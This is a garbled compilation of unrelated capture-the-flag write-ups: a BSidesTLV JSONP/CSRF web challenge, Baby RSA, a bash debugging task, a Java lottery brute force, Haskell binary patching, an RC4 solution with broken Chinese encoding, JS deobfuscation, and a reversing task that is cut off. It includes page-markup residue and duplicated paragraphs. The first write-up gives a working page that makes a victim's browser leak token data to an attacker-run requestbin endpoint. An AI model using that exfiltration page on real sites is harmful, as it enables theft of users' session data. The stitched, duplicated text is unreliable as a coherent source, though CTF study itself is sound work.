<span>action</span>="<span>https://requestbin.net/r/w4xs0xw4</span>" <span>method</span>="<span>GET</span>" <span>></span> <span><</span><span>input</span> <span>type</span>="<span>hidden</span>" <span>name</span>="<span>data</span>" <span>value</span>="<span>template</span>" <span>id</span>="<span>input</span>" /> <span><</span><span>script</span><span>></span> <span>$</span><span>(</span><span>document</span><span>)</span><span>.</span><span>ready</span><span>(</span><span>function</span><span>(</span><span>)</span><span>{</span> <span>$</span><span>.</span><span>ajax</span><span>(</span><span>{</span> <span>dataType</span>: <span>'jsonp'</span><span>,</span> <span>jsonp</span>: <span>'callback'</span><span>,</span> <span>url</span>: <span>'https://can-you-bypass-the-sop.ctf.bsidestlv.com/FetchUserInfo?callback=?'</span><span>,</span> <span>success</span>: <span>function</span> <span>(</span><span>data</span><span>)</span> <span>{</span> <span>/*let http = new XMLHttpRequest()</span><span> http.open('POST', 'https://requestbin.net/r/w4xs0xw4', true);</span><span> http.setRequestHeader('Content-type', 'application/json');</span><span> http.send(JSON.stringify(data));*/</span> <span>var</span> <span>input</span> <span>=</span> <span>document</span><span>.</span><span>getElementById</span><span>(</span><span>"input"</span><span>)</span><span>;</span> <span>console</span><span>.</span><span>log</span><span>(</span><span>data</span><span>)</span><span>;</span> <span>input</span><span>.</span><span>value</span> <span>=</span> <span>data</span><span>.</span><span>flag</span><span>;</span> <span>document</span><span>.</span><span>forms</span><span>[</span><span>0</span><span>]</span><span>.</span><span>submit</span><span>(</span><span>)</span><span>;</span> <span>}</span> <span>}</span><span>)</span><span>;</span> <span>}</span><span>)</span><span>;</span> <span></</span><span>script</span><span>></span> <span></</span><span>body</span><span>></span><span></</span><span>html</span><span>></span></div>What this does is call the JSONP enabled endpoint, the same one that the original website does, as soon as the web page loads. Because the token cookie is not secured as mentioned before, if the user that navigates to this malicious URL is already signed into the https://can-you-bypass-the-sop.ctf.bsidestlv.com, the browser will do them a "favor" and send the token cookie along with the request ensuring that they will not need to log in again. Once the request from this endpoint returns, it will bring back the response from the JSONP endpoint with the object now in the logged in user's context. So, if someone that isn't Logged in as guest were to click on this link, they will have their own data object returned in the JSONP response.Once we get that data back, the code can then append it as a URL parameter to GET request to our requestbin that is waiting for us which is what the success function does. It assigns the flag parameter as the hidden input value of our form and then submits it, effectively submitting a GET request to our hosted requestbin endpoint.Pasting in our malicious URL that is hosted by repl.it to the BOT, we then wait a few moments and check our requestbin to find our flag waiting for us.</article> </div> </div> Interesting, the payload in the JWT token has a flag field. Also, the SameSite security flag was not set on the cookie, which means the site looks to be vulnerable to CSRF. It seems likely that if we can come up with some type of XSS, the user who clicks on our link will have their credentials passed in, even if the link was not originally from the https://can-you-bypass-the-sop.ctf.bsidestlv.com site. Snooping some more, we find the application code in the main.js file https://can-you-bypass-the-sop.ctf.bsidestlv.com/js/main.js. This script file stores the JavaScript functions that are called when someone signs in or joins as a guest. The function we are particularly interested in is Something that should catch your eye pretty quickly is the second AJAX request and its use of the jsonp data type. A little background on JSONP, it is a mechanism that REST endpoints employed to bypass the same-origin policy (SOP). The same-origin policy is a security mechanism that browsers and web sites use to ensure that scripts and resources that are loaded from one origin cannot access resources from another origin. This is why if you navigated to your browser's web console while on a website and start making AJAX calls to another website on a different domain, your browser would stop you, as it would be breaching the SOP. Some JSONP configurations allow you to define a callback parameter that is a function that is defined on the client side that when the request returns, it is automatically invoked and the code is executed. Navigating to the endpoint in question, we can see exactly what is happening. First by passing in callback=i_control_this and now callback=with_whatever_I_want Hmm, the callback function is being passed the payload to our JWT token. This is the last piece to our puzzle! If we can create a function that will ingest the object being passed back to to the JSONP callback function, we can send it as a URL parameter to an endpoint that we control and log the results. Lets see what we can come up with! To put this all together we need 2 things. We need to set up a requestbin to catch our request that will have the stolen cookie. That is simple enough. To deploy the XSS, we need a way to host a web page. There are several services out there or you can use your own hosted website. I used repl.it, which allows you to spin up proof of concept code snippets incredibly quickly. Below is the index.html file that is served whenever someone lands on my custom hosted website. What this does is call the JSONP enabled endpoint, the same one that the original website does, as soon as the web page loads. Because the token cookie is not secured as mentioned before, if the user that navigates to this malicious URL is already signed into the https://can-you-bypass-the-sop.ctf.bsidestlv.com, the browser will do them a "favor" and send the token cookie along with the request ensuring that they will not need to log in again. Once the request from this endpoint returns, it will bring back the response from the JSONP endpoint with the object now in the logged in user's context. So, if someone that isn't Logged in as guest were to click on this link, they will have their own data object returned in the JSONP response. Once we get that data back, the code can then append it as a URL parameter to GET request to our requestbin that is waiting for us which is what the success function does. It assigns the flag parameter as the hidden input value of our form and then submits it, effectively submitting a GET request to our hosted requestbin endpoint. Pasting in our malicious URL that is hosted by repl.it to the BOT, we then wait a few moments and check our requestbin to find our flag waiting for us. </readme-toc> </div> </div> </div> </turbo-frame> </main> </div> </div> <footer class="footer width-full container-xl p-responsive" role="contentinfo"> <h2 class='sr-only'>Footer</h2> <div class="position-relative d-flex flex-items-center pb-2 f6 color-fg-muted border-top color-border-muted flex-column-reverse flex-lg-row flex-wrap flex-lg-nowrap mt-6 pt-6"> <div class="list-style-none d-flex flex-wrap col-0 col-lg-2 flex-justify-start flex-lg-justify-between mb-2 mb-lg-0"> <div class="mt-2 mt-lg-0 d-flex flex-items-center"> <svg aria-hidden="true" height="24" viewBox="0 0 16 16" version="1.1" width="24" data-view-component="true" class="octicon octicon-mark-github"> <path d="M8 0c4.42 0 8 3.58 8 8a8.013 8.013 0 0 1-5.45 7.59c-.4.08-.55-.17-.55-.38 0-.27.01-1.13.01-2.2 0-.75-.25-1.23-.54-1.48 1.78-.2 3.65-.88 3.65-3.95 0-.88-.31-1.59-.82-2.15.08-.2.36-1.02-.08-2.12 0 0-.67-.22-2.2.82-.64-.18-1.32-.27-2-.27-.68 0-1.36.09-2 .27-1.53-1.03-2.2-.82-2.2-.82-.44 1.1-.16 1.92-.08 2.12-.51.56-.82 1.28-.82 2.15 0 3.06 1.86 3.75 3.64 3.95-.23.2-.44.55-.51 1.07-.46.21-1.61.55-2.33-.66-.15-.24-.6-.83-1.23-.82-.67.01-.27.38.01.53.34.19.73.9.82 1.13.16.45.68 1.31 2.69.94 0 .67.01 1.3.01 1.49 0 .21-.15.45-.55.38A7.995 7.995 0 0 1 0 8c0-4.42 3.58-8 8-8Z"></path></svg> <span> ยฉ 2023 GitHub, Inc. </span> </div> </div> <nav aria-label='footer' class="col-12 col-lg-8"> <h3 class='sr-only' id='sr-footer-heading'>Footer navigation</h3> Terms Privacy Security Status Docs Contact GitHub Pricing API Training Blog About </nav> </div> <div class="d-flex flex-justify-center pb-6"> <span></span> </div></footer> <div id="ajax-error-message" class="ajax-error-message flash flash-error" hidden> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-alert"> <path d="M6.457 1.047c.659-1.234 2.427-1.234 3.086 0l6.082 11.378A1.75 1.75 0 0 1 14.082 15H1.918a1.75 1.75 0 0 1-1.543-2.575Zm1.763.707a.25.25 0 0 0-.44 0L1.698 13.132a.25.25 0 0 0 .22.368h12.164a.25.25 0 0 0 .22-.368Zm.53 3.996v2.5a.75.75 0 0 1-1.5 0v-2.5a.75.75 0 0 1 1.5 0ZM9 11a1 1 0 1 1-2 0 1 1 0 0 1 2 0Z"></path></svg> <button type="button" class="flash-close js-ajax-error-dismiss" aria-label="Dismiss error"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path d="M3.72 3.72a.75.75 0 0 1 1.06 0L8 6.94l3.22-3.22a.749.749 0 0 1 1.275.326.749.749 0 0 1-.215.734L9.06 8l3.22 3.22a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L8 9.06l-3.22 3.22a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042L6.94 8 3.72 4.78a.75.75 0 0 1 0-1.06Z"></path></svg> </button> You canโ€™t perform that action at this time. </div> <div class="js-stale-session-flash flash flash-warn flash-banner" hidden > <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-alert"> <path d="M6.457 1.047c.659-1.234 2.427-1.234 3.086 0l6.082 11.378A1.75 1.75 0 0 1 14.082 15H1.918a1.75 1.75 0 0 1-1.543-2.575Zm1.763.707a.25.25 0 0 0-.44 0L1.698 13.132a.25.25 0 0 0 .22.368h12.164a.25.25 0 0 0 .22-.368Zm.53 3.996v2.5a.75.75 0 0 1-1.5 0v-2.5a.75.75 0 0 1 1.5 0ZM9 11a1 1 0 1 1-2 0 1 1 0 0 1 2 0Z"></path></svg> <span>You signed in with another tab or window. Reload to refresh your session.</span> <span>You signed out in another tab or window. Reload to refresh your session.</span> </div> <template id="site-details-dialog"> <details class="details-reset details-overlay details-overlay-dark lh-default color-fg-default hx_rsm" open> <summary role="button" aria-label="Close dialog"></summary> <details-dialog class="Box Box--overlay d-flex flex-column anim-fade-in fast hx_rsm-dialog hx_rsm-modal"> <button class="Box-btn-octicon m-0 btn-octicon position-absolute right-0 top-0" type="button" aria-label="Close dialog" data-close-dialog> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path d="M3.72 3.72a.75.75 0 0 1 1.06 0L8 6.94l3.22-3.22a.749.749 0 0 1 1.275.326.749.749 0 0 1-.215.734L9.06 8l3.22 3.22a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L8 9.06l-3.22 3.22a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042L6.94 8 3.72 4.78a.75.75 0 0 1 0-1.06Z"></path></svg> </button> <div class="octocat-spinner my-6 js-details-dialog-spinner"></div> </details-dialog> </details></template> <div class="Popover js-hovercard-content position-absolute" style="display: none; outline: none;" tabindex="0"> <div class="Popover-message Popover-message--bottom-left Popover-message--large Box color-shadow-large" style="width:360px;"> </div></div> <template id="snippet-clipboard-copy-button"> <div class="zeroclipboard-container position-absolute right-0 top-0"> <clipboard-copy aria-label="Copy" class="ClipboardButton btn js-clipboard-copy m-2 p-0 tooltipped-no-delay" data-copy-feedback="Copied!" data-tooltip-direction="w"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-copy js-clipboard-copy-icon m-2"> <path d="M0 6.75C0 5.784.784 5 1.75 5h1.5a.75.75 0 0 1 0 1.5h-1.5a.25.25 0 0 0-.25.25v7.5c0 .138.112.25.25.25h7.5a.25.25 0 0 0 .25-.25v-1.5a.75.75 0 0 1 1.5 0v1.5A1.75 1.75 0 0 1 9.25 16h-7.5A1.75 1.75 0 0 1 0 14.25Z"></path><path d="M5 1.75C5 .784 5.784 0 6.75 0h7.5C15.216 0 16 .784 16 1.75v7.5A1.75 1.75 0 0 1 14.25 11h-7.5A1.75 1.75 0 0 1 5 9.25Zm1.75-.25a.25.25 0 0 0-.25.25v7.5c0 .138.112.25.25.25h7.5a.25.25 0 0 0 .25-.25v-7.5a.25.25 0 0 0-.25-.25Z"></path></svg> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-check js-clipboard-check-icon color-fg-success d-none m-2"> <path d="M13.78 4.22a.75.75 0 0 1 0 1.06l-7.25 7.25a.75.75 0 0 1-1.06 0L2.22 9.28a.751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018L6 10.94l6.72-6.72a.75.75 0 0 1 1.06 0Z"></path></svg> </clipboard-copy> </div></template> </div> <div id="js-global-screen-reader-notice" class="sr-only" aria-live="polite" ></div> </body></html>
## Baby RSA > All babies love [RSA](https://asisctf.com/tasks/baby_rsa_704000e3703726346fa621a91a9f8097a9307929.txz). How about you? ? #### Challenge ```python#!/usr/bin/python from Crypto.Util.number import *import randomfrom flag import flag nbit = 512while True: p = getPrime(nbit) q = getPrime(nbit) e, n = 65537, p*q phi = (p-1)*(q-1) d = inverse(e, phi) r = random.randint(12, 19) if (d-1) % (1 << r) == 0: break s, t = random.randint(1, min(p, q)), random.randint(1, min(p, q))t_p = pow(s*p + 1, (d-1)/(1 << r), n)t_q = pow(t*q + 4, (d-1)/(1 << r), n) print 'n =', nprint 't_p =', t_pprint 't_q =', t_qprint 'enc =', pow(bytes_to_long(flag), e, n)``` #### Solution To solve this challenge, we use that for the RSA cryptosystem the public and private keys obey $$e\cdot d - 1 \equiv 0 \mod \phi(n), \qquad \Rightarrow \qquad e\cdot d - 1 = k \cdot \phi(n), \quad k \in \mathbf{Z}$$ and Euler's theorem, which states that $$\gcd(a,n) = 1 \qquad \Leftrightarrow \qquad a^{\phi(n)} \equiv 1\mod n$$ We have the data $t_p, t_q, e, n$ which is suffient to solve for $p$. Using that $$t_p = (sp + 1)^{\frac{d-1}{2^r}}$$ We can take `eth` power to find $$\begin{align}t_p^e &= (sp + 1)^{\frac{ed-e}{2^r}} \mod n \\&= (sp + 1)^{\frac{k\phi(n) + 1 -e}{2^r}} \mod n \\&= (sp + 1)^{\frac{k\phi(n)}{2^r}} (sp + 1)^{\frac{e - 1}{2^r}} \mod n\end{align}$$ From Euler's theorem we have $$(sp + 1)^{\frac{k\phi(n)}{2^r}} \equiv 1^{\frac{k}{2^r}} \equiv 1 \mod n$$ The value of `r` is of small size `r = random.randint(12, 19)` and we know that $e - 1 = 2^{16}$ and so we know that we have $$t_p^e = (sp + 1)^{m} \mod n, \qquad m \in \{16, 8, 4, 2, 1, \frac12, \frac14 \}$$ We can expand out $t_p^e$ and write down $$\begin{align}t_p^e - 1 = s p \cdot (s^{m-1} p^{m-1} + \ldots + m) \mod n \\\end{align}$$ We can solve the challenge by then looking at $$\gcd(t_p^e - 1, n) = p$$ **Note**: we can only treat $p$ as a true factor in the above line as $n = p\cdot q$, so by nature of the CRT, this expression simplifies. #### Implementation ```pythonimport mathfrom Crypto.Util.number import * n = 10594734342063566757448883321293669290587889620265586736339477212834603215495912433611144868846006156969270740855007264519632640641698642134252272607634933572167074297087706060885814882562940246513589425206930711731882822983635474686630558630207534121750609979878270286275038737837128131581881266426871686835017263726047271960106044197708707310947840827099436585066447299264829120559315794262731576114771746189786467883424574016648249716997628251427198814515283524719060137118861718653529700994985114658591731819116128152893001811343820147174516271545881541496467750752863683867477159692651266291345654483269128390649e = 65537t_p = 4519048305944870673996667250268978888991017018344606790335970757895844518537213438462551754870798014432500599516098452334333141083371363892434537397146761661356351987492551545141544282333284496356154689853566589087098714992334239545021777497521910627396112225599188792518283722610007089616240235553136331948312118820778466109157166814076918897321333302212037091468294236737664634236652872694643742513694231865411343972158511561161110552791654692064067926570244885476257516034078495033460959374008589773105321047878659565315394819180209475120634087455397672140885519817817257776910144945634993354823069305663576529148t_q = 4223555135826151977468024279774194480800715262404098289320039500346723919877497179817129350823600662852132753483649104908356177392498638581546631861434234853762982271617144142856310134474982641587194459504721444158968027785611189945247212188754878851655525470022211101581388965272172510931958506487803857506055606348311364630088719304677522811373637015860200879231944374131649311811899458517619132770984593620802230131001429508873143491237281184088018483168411150471501405713386021109286000921074215502701541654045498583231623256365217713761284163181132635382837375055449383413664576886036963978338681516186909796419enc = 5548605244436176056181226780712792626658031554693210613227037883659685322461405771085980865371756818537836556724405699867834352918413810459894692455739712787293493925926704951363016528075548052788176859617001319579989667391737106534619373230550539705242471496840327096240228287029720859133747702679648464160040864448646353875953946451194177148020357408296263967558099653116183721335233575474288724063742809047676165474538954797346185329962114447585306058828989433687341976816521575673147671067412234404782485540629504019524293885245673723057009189296634321892220944915880530683285446919795527111871615036653620565630 p = math.gcd(n, pow(t_p, e, n) - 1)q = n // pphi = (p-1)*(q-1)d = inverse(e, phi)flag = pow(enc,d,n)print(long_to_bytes(flag))# b'ASIS{baby___RSA___f0r_W4rM_uP}'``` #### Flag `b'ASIS{baby___RSA___f0r_W4rM_uP}'`
# redpwnCTF-uglybash This task required us to debug the bash script and get flag written in its comments So, there are 2 ways to debug a bash script: 1) Add 'set -x' in starting of bash script and at end of bash script add line 'set +x', then normally run the script2) Use '-x' parameter while running bash script, "bash -x cmd.sh" Flag: flag{us3_zsh,_dummy}
We are given 5 random numbers generated using `SecureRandom` with `System.currentTimeMillis()` as the seed. Our task is to guess the next 5 numbers. ```//You'll never find my seed now!...long seed = System.currentTimeMillis();System.out.println(seed);ByteBuffer bb = ByteBuffer.allocate(Long.BYTES);bb.putLong(seed);SecureRandom r = new SecureRandom(bb.array());...System.out.println("Yesterday's numbers were: ");for (int i = 0; i != 5; i++) { System.out.print((r.nextInt(5) + 1) + " ");}...System.out.println("You have $20, and each ticket is $1. How many tickets would you like to buy? ");int numTries = Integer.parseInt(in.nextLine());...int[] nums = new int[5];for (int a = 0; a != 5; a++) { nums[a] = r.nextInt(5) + 1; System.out.print(nums[a] + " ");}...for (int i = 0; i != numTries; i++) { System.out.println("Ticket number " + (i + 1) + "! Enter five numbers, separated by spaces:"); String[] ticket = in.nextLine().split(" "); boolean winner = true; for (int b = 0; b != 5; b++) { if (nums[b] != Integer.parseInt(ticket[b])) { winner = false; break; } } if (!winner) { System.out.println("Your ticket did not win. Try again."); } else { System.out.println("Congratulations, you win the flag lottery!"); outputFlag(); }}``` Some website says that ["SecureRandom" seeds should not be predictable](https://rules.sonarsource.com/java/tag/owasp/RSPEC-4347), so we tried to recover the seed and imitate the RNG, as in [Occasionally Tested Protocol](https://ctftime.org/task/12322). However this is practically quite hard, because `SecureRandom` also uses entropy obtained from the underlying operating system. After some time spent trying to exploit the weakness of random seed, we switched to another approach. Because we only have to guess 5 numbers from 1 to 5, the chance of getting a correct guess is quite high (1/3125). With 20 tries, this is even higher. And even more, **there is a bug in the program that gives you a sure win**: ```int numTries = Integer.parseInt(in.nextLine());if (numTries > 20) { System.out.println("Sorry, you don't have enough money to buy all of those. :("); System.exit(0);}...for (int i = 0; i != numTries; i++) {...}``` The program only checks if your number of tries does not exceed 20, and the loop only terminates if the counter equals numTries. So if you enter a negative value, the loop will not end until you reach an overflow, which means you have (almost) **unlimited tries**. This saves us the trouble of having to reconnect multiple times and going through the 10s initial wait. We modified the code (initially tried to exploit SecureRandom's weakness) to brute force all the combinations: ```import java.io.*;import java.net.*; public class SecureBrute { public static void main(String[] args) throws Exception { Socket sk = new Socket("challenge.rgbsec.xyz", 7425); DataInputStream din = new DataInputStream(sk.getInputStream()); DataOutputStream dout = new DataOutputStream(sk.getOutputStream()); // Welcome String s = din.readLine(); System.out.println(s); // Generating seed s = din.readLine(); System.out.println(s); // Yesterday's numbers s = din.readLine(); System.out.println(s); s = din.readLine(); System.out.println(s); String[] tokens = s.split(" "); int[] nums = new int[5]; for (int i = 0; i < 5; i++) { nums[i] = Integer.parseInt(tokens[i]); } // You have $20 s = din.readLine(); System.out.println(s); // Pwnage starts here dout.writeBytes("-1\n"); dout.flush(); int[] c = new int[5]; loop: for (c[0] = 0; c[0] < 5; c[0]++) for (c[1] = 0; c[1] < 5; c[1]++) for (c[2] = 0; c[2] < 5; c[2]++) for (c[3] = 0; c[3] < 5; c[3]++) for (c[4] = 0; c[4] < 5; c[4]++) { boolean done = tryCombo(c, din, dout); if (done) break loop; } din.close(); dout.close(); sk.close(); } private static boolean tryCombo(int[] combo, DataInputStream din, DataOutputStream dout) throws Exception { // Ticket number String s = din.readLine(); System.out.println(s); String next5 = getNextFive(combo); System.out.println(next5); dout.writeBytes(next5 + "\n"); dout.flush(); s = din.readLine(); System.out.println(s); if (s.startsWith("Congratulations")) { for (int i = 0; i < 100; i++) { s = din.readLine(); System.out.println(s); } return true; } return false; } private static String getNextFive(int[] combo) { String result = ""; for (int i = 0; i < 4; i++) { result += (combo[i] + 1) + " "; } result += combo[4] + 1; return result; }}``` And got the flag after 1220 tries: ```Ticket number 1218! Enter five numbers, separated by spaces:2 5 4 4 3Your ticket did not win. Try again.Ticket number 1219! Enter five numbers, separated by spaces:2 5 4 4 4Your ticket did not win. Try again.Ticket number 1220! Enter five numbers, separated by spaces:2 5 4 4 5Congratulations, you win the flag lottery!rgbCTF{s0m3t1m3s_4ll_y0u_n33d_1s_f0rc3}``` Flag: `rgbCTF{s0m3t1m3s_4ll_y0u_n33d_1s_f0rc3}`
# THE LYCH KING writeup by [haskal](https://awoo.systems) for [BLร…HAJ](https://blahaj.awoo.systems) **Pwn/Rev****498 points****7 solves** >and the bad seeds>>The binary was changed *ever so slightly* after the cipher text was generated provided file: <LYCH_KING.zip> ## writeup we immediately find out this is a Haskell binary (strings, or run it with no input to get a Haskellerror print). yikes, i've never done Haskell reversing before. however, there is one main resourceon this i found, a haskell decompiler with a writeup from the author on reversing for a previousCTF's Haskell challenge <https://github.com/gereeter/hsdecomp> <https://sctf.ehsandev.com/reversing/lambda1.html> note that the writeup is for 32-bit. this is a 64-bit binary so the ABI is slightly different thanwhat's in the writeup, but it is handled by hsdecomp. however, running hsdecomp (even with errorcode patched out) results in a partial decompilation with several error points ```Main_main_closure = >>= $fMonadIO getArgs (\s3mc_info_arg_0 -> $ putStrLn ((\Main_a_info_arg_0 -> case == r3jo_info Main_a_info_arg_0 [] of False -> zipWith (on !!ERROR!! ord) Main_a_info_arg_0 ((\Main_g_info_arg_0 Main_g_info_arg_1 -> case == r3jo_info Main_g_info_arg_0 [] of False -> take (length $fFoldable[] Main_g_info_arg_0) (intercalate [] (map !!ERROR!! ((\Main_v_info_arg_0 Main_v_info_arg_1 Main_v_info_arg_2 -> case == $fEqInteger Main_v_info_arg_0 (Main_r_info Main_v_info_arg_0) of False -> case >= $fOrdInteger Main_v_info_arg_2 (toInteger $fIntegralInt Main_v_info_arg_1) of False -> : Main_v_info_arg_0 !!ERROR!!, False -> [], False -> [] ) Main_g_info_arg_1 (length $fFoldable[] Main_g_info_arg_0) (S# 0) ) ) ), False -> [] ) Main_a_info_arg_0 (S# 1997) ), False -> [] ) (head s3mc_info_arg_0) ) )r3jo_info = $fEq[] $fEqChar Main_r_info = \Main_r_info_arg_0 -> case == $fEqInteger Main_r_info_arg_0 (S# 0) of False -> + $fNumInteger (* $fNumInteger (mod $fIntegralInteger Main_r_info_arg_0 (S# 10)) (^ $fNumInteger $fIntegralInteger (S# 10) (- $fNumInteger (Main_mag_info Main_r_info_arg_0) (S# 1)))) (Main_r_info (div $fIntegralInteger Main_r_info_arg_0 (S# 10))), False -> S# 0 Main_mag_info = \Main_mag_info_arg_0 -> case == $fEqInteger Main_mag_info_arg_0 (S# 0) of False -> case > $fOrdInteger Main_mag_info_arg_0 (S# 0) of False -> case < $fOrdInteger Main_mag_info_arg_0 (S# 0) of False -> patError 4871050, False -> negate $fNumInteger (S# 1), False -> + $fNumInteger (S# 1) (Main_mag_info (div $fIntegralInteger Main_mag_info_arg_0 (S# 10))), False -> S# 0 ``` by manually reversing i found the error point in zipwith is just something along the lines ofcomposing xor and integer bits, so this operation is computing the XOR of the input. the error pointin map is just calling Show on each integer, so the integers getting generated by Main_v_info areconverted into strings for XOR. now the issue is the last error point which is generating theintegers. we can see it stops when Main_r_info on the first arg is equal to the arg. examiningMain_r_info shows that it reverses the digits of a given integer. thus, integer generation stopswhen there's a palindrome, and otherwise it generates a list of integers transformed by someerroring closure. the initial integer is 1997. i spent a lot of time trying to reverse the lasterror point and i didn't end up figuring out what it's doing besides something with Main_mag_info(which computes log10 of its argument). you can dump the integer stream it's using by calling the binary with a known string and thencomputing the XOR of the output with the input to recover the key. by default we see it starts with1997 and then a stream of numbers i was ultimately unable to reverse engineer. so i gave up and switched to fuzzing. the flavor text says the binary was slightly changed, so iguessed the initial argument of 1997 was changed to something else. by cribdragging the ciphertext(looking for any points in the stream where XOR with any digits 0-9 can produce `rgbctf{`) i foundexactly one such offset -- 152. then i created a script to patch the binary for 1997, the exact instruction that loads it can befound in `s3m8_info` at address `0x407c57`. i found this by simply searching the memory in ghidrafor 1997. this corresponds to a file offset of `0x7c5b:0x7c5f`. ![ghidra view showing the instruction that must be patched](https://git.lain.faith/BLAHAJ/writeups/media/branch/writeups/2020/rgbctf/lych-king/ghidra.png) then i tried numbers in order until the pad contained the right numbers to produce `rgbctf{` atoffset 152. ```pythondef run_patch(i): with open("lich", "rb") as f: d = bytearray(f.read()) d[0x7c5b:0x7c5f] = struct.pack("<I", i) with open("/tmp/lich", "wb") as f2: f2.write(d) return try_inp("a"*len(cipher)) for seed in range(100000): res = run_patch(seed) if len(res) >= len(cipher) and res[152:152+7] == b"9289134": print(seed) print(xor(res, cipher))``` this actually completes in seconds, and found the correct decryption. there are multiple seeds thatwork, but the "correct" one is intended to be `1585` as far as i can tell. the result is: ```Kil'jaeden created the Lich King ages ago from the spirit of the orc shaman Ner'zhul to raise an undead army to conquer Azeroth for the Burning Legion. rgbctf{the flag is just rgb lol} Initially trapped within the Frozen Throne with Frostmourne, the Lich King eventually betrayed Kil'jaeden and merged with the human Arthas Menethil. When Frostmourne was destroyed and Arthas perished, Bolvar Fordragon became the new Lich King, imprisoning the master of the Scourge within the Frozen Throne once more in order to protect the world from future threats.:``` see original writeup for full source etc ## addendum i'm sad i never got to completely figure out how haskell reversing works, and in retrospect shouldhave tried fuzzing _before_ i sunk like 4 hours total into kinda fruitless RE. if someone could fixup hsdecomp so it works on this i would be very happy.
็ฌฌไธ€ๅฑ‚smc็š„็ง˜้’ฅ็ปๆต‹่ฏ•ๅœจๅคง้ƒจๅˆ†ๅœจ็บฟๅทฅๅ…ท็ซ™้ƒฝๅฏไปฅๆŸฅๅˆฐ![](http://roomoflja.cn/wp-content/uploads/2020/07/upload_3da6d43a46b537c4dfcae58d416047e4.jpg)็ฌฌไบŒๅฑ‚็ง˜้’ฅ็”จไบ†flagๅ‰5ไฝ`SCTF{`ๅš็ง˜้’ฅ ็„ถๅŽ่ฟ›่กŒๅธธ่ง„็š„rc4็ฎ—ๆณ•ๅฏนflag่ฟ›่กŒๅŠ ๅฏ†,rc4็ง˜้’ฅๆ˜ฏ`syclover`ๅนถ็”จๅ…ถไป–้€ป่พ‘่ฟ็ฎ—ไปฃๆ›ฟๅผ‚ๆˆ–ๆฅๅฎŒๆˆๆ•ฐๆฎไบคๆข```cpp { i = (i + 1) % 256; j = (j + s[i]) % 256; s[i] = (s[i] & ~s[j]) | (~s[i] & s[j]); s[j] = (s[i] & ~s[j]) | (~s[i] & s[j]); s[i] = (s[i] & ~s[j]) | (~s[i] & s[j]); t = (s[i] + s[j]) % 256; data[k] ^= s[t]; //printf("%2.2x,", data[k]); }``` ่งฃๅฏ†ๅช่ฆ่พ“ๅ…ฅๆ ผๅผ็ฌฆๅˆ็š„ๅญ—็ฌฆไธฒๅ†ๆ‹ฟๅˆฐ่ฏฅๅญ—็ฌฆไธฒ็š„ๅฏ†ๆ–‡ๅฐฑๅฏๅ†™่„šๆœฌไบ† ```pythond=[128, 85, 126, 45, 209, 9, 37, 171, 60, 86, 149, 196, 54, 19, 237, 114, 36, 147, 178, 200, 69, 236, 22, 107, 103, 29, 249, 163, 150, 217]s=[128, 85, 126, 45, 209, 18, 62, 176, 35, 31, 136, 150, 12, 45, 211, 76, 24, 173, 161, 202, 16, 210, 66, 101, 89, 25, 172, 177, 142, 197]s1='SCTF{aaaaaaaaaaaaaaaaaaaaaaaaa'#่พ“ๅ…ฅ็š„flagfor i in range(len(s)): print(chr(d[i]^s[i]^ord(s1[i])),end='')# SCTF{zzz~(|3[___]_rc4_5o_e4sy} ```
The minified code looks crazy. However there is a web site that makes understanding the code much easier: [http://www.jsnice.org/](http://www.jsnice.org/) The interesting part is here: ```"_0x1c2030" : _0x7379("0x20", "zyUu") + "ou have be" + _0x7379("0x4c4", "9f2)") + _0x7379("0x570", "Y@$M") + _0x7379("0x505", "XVoV") + "iQ1RGe3c0M" + _0x7379("0x649", "*a95") + _0x7379("0x55a", "nB&s") + "l80bm4weTF" + _0x7379("0x143", "&H2q"),``` Which corresponding to the following part: ```'\x5f\x30\x78\x31\x63\x32\x30\x33\x30': _0x7379('\x30\x78\x32\x30', '\x7a\x79\x55\x75') + '\x6f\x75\x20\x68\x61\x76\x65\x20\x62\x65' + _0x7379('\x30\x78\x34\x63\x34', '\x39\x66\x32\x29') + _0x7379('\x30\x78\x35\x37\x30', '\x59\x40\x24\x4d') + _0x7379('\x30\x78\x35\x30\x35', '\x58\x56\x6f\x56') + '\x69\x51\x31\x52\x47\x65\x33\x63\x30\x4d' + _0x7379('\x30\x78\x36\x34\x39', '\x2a\x61\x39\x35') + _0x7379('\x30\x78\x35\x35\x61', '\x6e\x42\x26\x73') + '\x6c\x38\x30\x62\x6d\x34\x77\x65\x54\x46' + _0x7379('\x30\x78\x31\x34\x33', '\x26\x48\x32\x71'),``` Running this on Google Chrome console and we'll get the flag: ```"Congrats you have beaten me! Here's your flag: cmdiQ1RGe3c0MHdfajR2NDJjcjFwN18xMl80bm4weTFuZ30="``` Flag: `rgbCTF{w40w_j4v42cr1p7_12_4nn0y1ng}`
# bubbly Author: [roerohan](https://github.com/roerohan) A possible way to solve this challenge is decompiling the binary and trying to understand what's happening in the code. # Requirements - ghidra- gdb # Source - [bubbly](./bubbly). # Exploitation First, we checkout the decompiled version of this binary with the help of `ghidra`. As you see in the code, there is a `while(true)` loop which reads a number `%d` from `stdin` and stores it in `i`. There's also an array of numbers `nums`. The code snippet containing `nums` is basically swapping `nums[i]` with `nums[i+1]`. The `check` function basically checks if the list is sorted. ```c_Bool check(void) { uint32_t i; _Bool pass; i = 0; while( true ) { if (8 < i) { return true; } if (nums[i + 1] < nums[i]) break; i = i + 1; } return false;}``` The target is to keep swapping indices in `nums` to finally sort it as a list. So, we open gdb and find out what nums is. ```bashgdb-peda$ print nums$1 = {0x1, 0xa, 0x3, 0x2, 0x5, 0x9, 0x8, 0x7, 0x4, 0x6}``` When you execute this line in `gdb`, you see that `nums` is a global array, consisting of numbers from 1 to 10. It is also important to notice in the `ghidra` 